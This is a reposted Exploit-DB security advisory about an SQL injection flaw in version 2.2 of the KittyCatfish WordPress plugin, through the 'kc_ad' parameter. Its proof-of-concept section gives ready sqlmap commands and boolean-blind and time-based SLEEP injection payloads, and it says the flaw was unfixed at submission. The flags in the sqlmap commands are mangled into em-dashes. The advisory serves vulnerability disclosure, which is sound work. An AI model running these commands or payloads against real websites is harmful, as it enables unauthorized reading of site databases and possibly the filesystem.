WordPress Plugin KittyCatfish 2.2 – SQL Injection

  • 作者: TAD GROUP
    日期: 2017-04-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41919/
  • # Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection
    # Date: 20/03/2017
    # Exploit Author: TAD GROUP
    # Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/
    # Software Link: https://wordpress.org/plugins-wp/kittycatfish/
    # Version: 2.2
    # Contact: info[at]tad.group
    # Website: https://tad.group
    # Category: Web Application Exploits
    
    
    1. Description 
    
    An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.
    
    The get oarameter 'kc_ad' is vulnerable.
    
     
    2. Proof of concept
    
    sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0""—dbms —threads=10 —random-agent
    
    OR
    
    sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" —dbms —threads=10 —random-agent —dbms=mysql —level 5 —risk=3
    
    Parameter: kc_ad (GET)
    
    Type: boolean-based blind
    
    Title: AND boolean-based blind - WHERE or HAVING clause
    
    Payload: kc_ad=31 AND 2281=2281&ver=2.0
    
     
    
    Type: AND/OR time-based blind
    
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    
    Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0
    
     
    
    3. Attack outcome:
    
    An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
    
    4. Impact
    
    Critical
    
    5. Affected versions
    
    <= 2.2
    
    6. Disclosure timeline
    
    06-Mar-2017 - found the vulnerability
    06-Mar-2017 - informed the developer
    20-Mar-2017 - release date of this security advisory
    
    Not fixed at the date of submitting this exploit.